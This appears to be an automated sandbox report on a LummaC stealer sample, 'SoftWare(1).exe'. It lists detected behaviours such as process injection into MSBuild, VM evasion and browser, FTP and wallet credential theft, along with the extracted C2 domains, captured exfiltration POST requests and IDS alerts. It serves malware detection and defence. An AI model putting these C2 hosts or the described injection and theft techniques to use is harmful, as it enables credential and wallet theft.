Edit tour

Windows Analysis Report
SoftWare(1).exe

Overview

General Information

Sample name:	SoftWare(1).exe
Analysis ID:	1663607
MD5:	34eb7041ba6efd18c92455835185719a
SHA1:	61581d4c73c8395fdb6968d36e6360cf65b8ab40
SHA256:	e43dd6e0b653aed2ed73a33c71cbb03a9b56b5ae4c53a0f1e73d9d78d5569aa5
Tags:	exeLummaStealeruser-aachum
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: Silenttrinity Stager Msbuild Activity

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

SoftWare(1).exe (PID: 6340 cmdline: "C:\Users\user\Desktop\SoftWare(1).exe" MD5: 34EB7041BA6EFD18C92455835185719A)

MSBuild.exe (PID: 6604 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MpCmdRun.exe (PID: 1196 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: B3676839B2EE96983F9ED735CD044159)

conhost.exe (PID: 4328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["clarmodq.top/qoxo", "jawdedmirror.run/ewqd", "changeaie.top/geps", "lonfgshadow.live/xawi", "liftally.top/xasj", "nighetwhisper.top/lekd", "salaccgfa.top/gsooz", "zestmodp.top/zeda", "owlflright.digital/qopy"], "Build id": "b9abc76ce53b6fc3a03566f8f764f5ea"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.982560381.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
00000002.00000002.981681584.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 6604	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
2.2.MSBuild.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 104.21.85.126, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 6604, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49682

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-12T01:47:14.735982+0200	2028371	3	Unknown Traffic	192.168.2.8	49682	104.21.85.126	443	TCP
2025-04-12T01:47:16.176118+0200	2028371	3	Unknown Traffic	192.168.2.8	49683	104.21.85.126	443	TCP
2025-04-12T01:47:17.317361+0200	2028371	3	Unknown Traffic	192.168.2.8	49684	104.21.85.126	443	TCP
2025-04-12T01:47:18.332446+0200	2028371	3	Unknown Traffic	192.168.2.8	49685	104.21.85.126	443	TCP
2025-04-12T01:47:20.264180+0200	2028371	3	Unknown Traffic	192.168.2.8	49686	104.21.85.126	443	TCP
2025-04-12T01:47:21.124173+0200	2028371	3	Unknown Traffic	192.168.2.8	49687	104.21.85.126	443	TCP
2025-04-12T01:47:21.938714+0200	2028371	3	Unknown Traffic	192.168.2.8	49688	104.21.85.126	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (clarmodq .top in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-12T01:47:14.735982+0200	2061392	1	Domain Observed Used for C2 Detected	192.168.2.8	49682	104.21.85.126	443	TCP
2025-04-12T01:47:16.176118+0200	2061392	1	Domain Observed Used for C2 Detected	192.168.2.8	49683	104.21.85.126	443	TCP
2025-04-12T01:47:17.317361+0200	2061392	1	Domain Observed Used for C2 Detected	192.168.2.8	49684	104.21.85.126	443	TCP
2025-04-12T01:47:18.332446+0200	2061392	1	Domain Observed Used for C2 Detected	192.168.2.8	49685	104.21.85.126	443	TCP
2025-04-12T01:47:20.264180+0200	2061392	1	Domain Observed Used for C2 Detected	192.168.2.8	49686	104.21.85.126	443	TCP
2025-04-12T01:47:21.124173+0200	2061392	1	Domain Observed Used for C2 Detected	192.168.2.8	49687	104.21.85.126	443	TCP
2025-04-12T01:47:21.938714+0200	2061392	1	Domain Observed Used for C2 Detected	192.168.2.8	49688	104.21.85.126	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clarmodq .top)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-12T01:47:14.271352+0200	2061391	1	Domain Observed Used for C2 Detected	192.168.2.8	51897	1.1.1.1	53	UDP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://clarmodq.top/d	Avira URL Cloud: Label: malware
Source: https://clarmodq.top:443/qoxocal	Avira URL Cloud: Label: malware
Source: https://clarmodq.top/dF	Avira URL Cloud: Label: malware

Found malware configuration

Source: 2.2.MSBuild.exe.400000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["clarmodq.top/qoxo", "jawdedmirror.run/ewqd", "changeaie.top/geps", "lonfgshadow.live/xawi", "liftally.top/xasj", "nighetwhisper.top/lekd", "salaccgfa.top/gsooz", "zestmodp.top/zeda", "owlflright.digital/qopy"], "Build id": "b9abc76ce53b6fc3a03566f8f764f5ea"}

Multi AV Scanner detection for submitted file

Source: SoftWare(1).exe	Virustotal: Detection: 31%			Perma Link
Source: SoftWare(1).exe	ReversingLabs: Detection: 27%

Sample uses string decryption to hide its real strings

Source: 2.2.MSBuild.exe.400000.0.raw.unpack	String decryptor: clarmodq.top/qoxo
Source: 2.2.MSBuild.exe.400000.0.raw.unpack	String decryptor: jawdedmirror.run/ewqd
Source: 2.2.MSBuild.exe.400000.0.raw.unpack	String decryptor: changeaie.top/geps
Source: 2.2.MSBuild.exe.400000.0.raw.unpack	String decryptor: lonfgshadow.live/xawi
Source: 2.2.MSBuild.exe.400000.0.raw.unpack	String decryptor: liftally.top/xasj
Source: 2.2.MSBuild.exe.400000.0.raw.unpack	String decryptor: nighetwhisper.top/lekd
Source: 2.2.MSBuild.exe.400000.0.raw.unpack	String decryptor: salaccgfa.top/gsooz
Source: 2.2.MSBuild.exe.400000.0.raw.unpack	String decryptor: zestmodp.top/zeda
Source: 2.2.MSBuild.exe.400000.0.raw.unpack	String decryptor: owlflright.digital/qopy

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041D666 CryptUnprotectData,	2_2_0041D666
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041DA0A CryptUnprotectData,	2_2_0041DA0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041CB15 CryptUnprotectData,	2_2_0041CB15

Source: unknown	HTTPS traffic detected: 104.21.85.126:443 -> 192.168.2.8:49682 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.126:443 -> 192.168.2.8:49683 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.126:443 -> 192.168.2.8:49684 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.126:443 -> 192.168.2.8:49685 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.126:443 -> 192.168.2.8:49686 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.126:443 -> 192.168.2.8:49687 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.126:443 -> 192.168.2.8:49688 version: TLS 1.2

Source: SoftWare(1).exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-14h]	2_2_0044D0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [esi], dx	2_2_0041C1D1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edi, byte ptr [esp+esi+000006FCh]	2_2_0041C1D1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], dx	2_2_004192A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], dx	2_2_004192A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], F2998E12h	2_2_004192A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+04h]	2_2_004192A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [edi+ebx], 0000h	2_2_0044C3E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ebp, edx	2_2_0044C4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [edi+ecx], 0000h	2_2_004277F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+70h]	2_2_00434840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-372CB63Eh]	2_2_0044D840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_0042A855
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+1Ah]	2_2_0041F8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+48h]	2_2_0041F8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+0Ah]	2_2_0041F8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [ebp-20h], edx	2_2_00448B21
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [ebp+eax-39C55A28h]	2_2_00448B21
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+549916FAh]	2_2_0042DC10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [ebx+eax+5F6C02ECh]	2_2_00448E6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-30h]	2_2_00448E6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+2BBF31DEh]	2_2_00441F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+44h]	2_2_00441F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edi-528C313Eh]	2_2_00441F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	2_2_00402060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_0043F000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [eax]	2_2_00434150
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+54991702h]	2_2_00447170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+54991702h]	2_2_00447170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-645C9F3Ch]	2_2_004351CB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	2_2_0040B1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax+54991706h]	2_2_00412250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-2E6B8552h]	2_2_0042D2D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, edx	2_2_0040C290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [ebp+eax-39C55A28h]	2_2_0044934E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	2_2_00432330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+2Ch]	2_2_0043533D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [esp+5Ch], 320BBCD1h	2_2_0042E3CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [eax], cl	2_2_0041E39C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ebx, dword ptr [esp+38h]	2_2_004023B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [esi], ax	2_2_004254C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [eax], cl	2_2_0041E4E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-5F27C36Eh]	2_2_004364A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-70215102h]	2_2_00410553
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, word ptr [esi]	2_2_0044B558
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-0Ah]	2_2_004225D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-7D9B4E86h]	2_2_004225D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	2_2_0042E652
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [esi], 00000020h	2_2_00435635
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ebp, eax	2_2_004086A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+20h]	2_2_0042D730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax]	2_2_0040C9F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-398053E8h]	2_2_0040C9F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	2_2_00431A6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-0184C51Ch]	2_2_00436A7B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [edi+eax-2BB61D3Eh]	2_2_00412AE4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-0184C51Ch]	2_2_00436A81
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [edi+eax-2BB61D3Eh]	2_2_00412B46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+00000274h]	2_2_00421B51
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-43F0A7ACh]	2_2_00421B51
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-4AC16B94h]	2_2_00426B20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ebx, byte ptr [esi+01h]	2_2_00401C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [ebp+eax-39C55A28h]	2_2_00448C74
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [esi], cl	2_2_00434CA7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-20h]	2_2_00448D42
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edi, word ptr [ecx]	2_2_0044CD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [ebp-10h], edx	2_2_00431D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [esi], cx	2_2_0042CE40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx-2AA3A264h]	2_2_00435E47
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edx+ebx*8], A0E666EBh	2_2_00445E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov edx, dword ptr [ebp-58h]	2_2_0042BE39
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	2_2_00443EFB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00420E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-30h]	2_2_00448F42
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax-60EFC3B4h]	2_2_0042BF6D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+000000C8h]	2_2_0041BF1F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-64DBA884h]	2_2_0040BFB0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2061392 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (clarmodq .top in TLS SNI) : 192.168.2.8:49682 -> 104.21.85.126:443
Source: Network traffic	Suricata IDS: 2061392 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (clarmodq .top in TLS SNI) : 192.168.2.8:49686 -> 104.21.85.126:443
Source: Network traffic	Suricata IDS: 2061392 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (clarmodq .top in TLS SNI) : 192.168.2.8:49683 -> 104.21.85.126:443
Source: Network traffic	Suricata IDS: 2061392 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (clarmodq .top in TLS SNI) : 192.168.2.8:49688 -> 104.21.85.126:443
Source: Network traffic	Suricata IDS: 2061391 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clarmodq .top) : 192.168.2.8:51897 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2061392 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (clarmodq .top in TLS SNI) : 192.168.2.8:49684 -> 104.21.85.126:443
Source: Network traffic	Suricata IDS: 2061392 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (clarmodq .top in TLS SNI) : 192.168.2.8:49687 -> 104.21.85.126:443
Source: Network traffic	Suricata IDS: 2061392 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (clarmodq .top in TLS SNI) : 192.168.2.8:49685 -> 104.21.85.126:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: clarmodq.top/qoxo
Source: Malware configuration extractor	URLs: jawdedmirror.run/ewqd
Source: Malware configuration extractor	URLs: changeaie.top/geps
Source: Malware configuration extractor	URLs: lonfgshadow.live/xawi
Source: Malware configuration extractor	URLs: liftally.top/xasj
Source: Malware configuration extractor	URLs: nighetwhisper.top/lekd
Source: Malware configuration extractor	URLs: salaccgfa.top/gsooz
Source: Malware configuration extractor	URLs: zestmodp.top/zeda
Source: Malware configuration extractor	URLs: owlflright.digital/qopy

Source: Joe Sandbox View

IP Address: 104.21.85.126 104.21.85.126

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49682 -> 104.21.85.126:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49686 -> 104.21.85.126:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49683 -> 104.21.85.126:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49684 -> 104.21.85.126:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49687 -> 104.21.85.126:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49685 -> 104.21.85.126:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49688 -> 104.21.85.126:443

Source: global traffic	HTTP traffic detected: POST /qoxo HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 97Host: clarmodq.top
Source: global traffic	HTTP traffic detected: POST /qoxo HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=tE4h4bU02j1b5nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 14515Host: clarmodq.top
Source: global traffic	HTTP traffic detected: POST /qoxo HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=Kxhn12nfSGQlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 15051Host: clarmodq.top
Source: global traffic	HTTP traffic detected: POST /qoxo HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7WM9U5ltSzzWUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 20220Host: clarmodq.top
Source: global traffic	HTTP traffic detected: POST /qoxo HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=W69Qb1dQ0SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 2296Host: clarmodq.top
Source: global traffic	HTTP traffic detected: POST /qoxo HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=hYfrvYt6rjd91User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 1105Host: clarmodq.top
Source: global traffic	HTTP traffic detected: POST /qoxo HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 135Host: clarmodq.top

Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 23.60.201.147
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.63
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.63
Source: unknown	TCP traffic detected without corresponding DNS query: 23.60.201.147
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.90
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.90
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.90
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.90
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.90
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.90
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.90
